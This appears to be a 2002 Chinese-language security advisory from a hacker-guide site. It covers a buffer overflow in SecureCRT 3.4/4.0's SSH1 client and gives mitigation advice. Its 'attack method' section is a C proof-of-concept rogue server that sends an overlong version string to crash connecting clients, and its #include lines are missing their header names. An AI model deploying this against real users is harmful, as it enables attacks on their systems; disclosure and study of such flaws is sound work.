※黑客攻防指南※===>系统漏洞==>SecureCRT 存在缓冲溢出缺陷
SecureCRT 存在缓冲溢出缺陷

涉及程序:
    SecureCRT 3.4 & 4.0
    
    描述:
    SecureCRT 存在缓冲溢出缺陷
    
    详细:
    SecureCRT 在它的 SSH1 连接代码中存在一个 bug ,如果被攻击者成功利用的话,将能在目标系统上执行任意代码和指令。
    
    当一个 SSH 客户端连接到服务端时,服务端将会发送一个含有主/次号码(major/minor numbers)的 SSH 协议版本字符串和一个被特别指定的不超过40个字符的服务器专用(server-specific)标识符字串。不幸的是在处理这个标识符字串时,如果同时SSH 协议版本也不被支持,将会发生缓冲溢出。
    
    攻击者可以利用此缺陷,将自己机器设置为一台服务器,然后欺骗用户连接到他的服务器上。攻击者可能会欺骗用户说为用户在服务器上建立了一个帐号或通过 dns 欺骗来达到欺骗用户连接到他的服务器的目的
    
    需要注意的是,这只针对 SSH1 ,如果用户选择 SSH2 ,就不会存在此缺陷。
    
    受影响产品:
    SecureCRT 3.4 & 4.0
    
    攻击方法:
    #include
    #include
    #include
    #include
    
    #define PORT 9988
    
    int main(int argc, char **argv) {
     int s, n, i, sz = sizeof(struct sockaddr_in);
     struct sockaddr_in local, whatever;
     char payload[510];
    
     strcpy(payload, \"SSH-1.1-\");
     for (i = 8; i < 508; i++)
    payload[i] = \'A\';
     payload[508] = \'\\n\';
     payload[509] = \'\\0\';
    
     if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    perror(\"socket\");
    return 1;
     }
     local.sin_family = AF_INET;
     local.sin_port = htons(PORT);
     local.sin_addr.s_addr = INADDR_ANY;
     memset(&(local.sin_zero), 0, 8);
     if (bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) {
    perror(\"bind\");
    return 1;
     }
     if (listen(s, 2) == -1) {
    perror(\"listen\");
    return 1;
     }
     printf(\"waiting for connection...\\n\");
     if ((n = accept(s, (struct sockaddr *)&whatever, &sz)) == -1) {
    perror(\"accept\");
    return 1;
     }
     printf(\"client connected\\n\");
     if (send(n, payload, sizeof(payload) - 1, 0) == -1) {
    perror(\"send\");
    return 1;
     }
     printf(\"sent string: [%s]\\n\", payload);
     close(n);
     close(s);
     return 0;
    }
    
    
    解决方案:
    选择使用 SSH2 ,而不要使用 SSH1 。
    
    附加信息:
    无
    
    相关站点:
    http://msgs.securepoint.com/cgi-bin/get/bugtraq0207/177.html
 

主目录 分目录

Copyright By「黑白网络工作室」2002 All Rights Reserve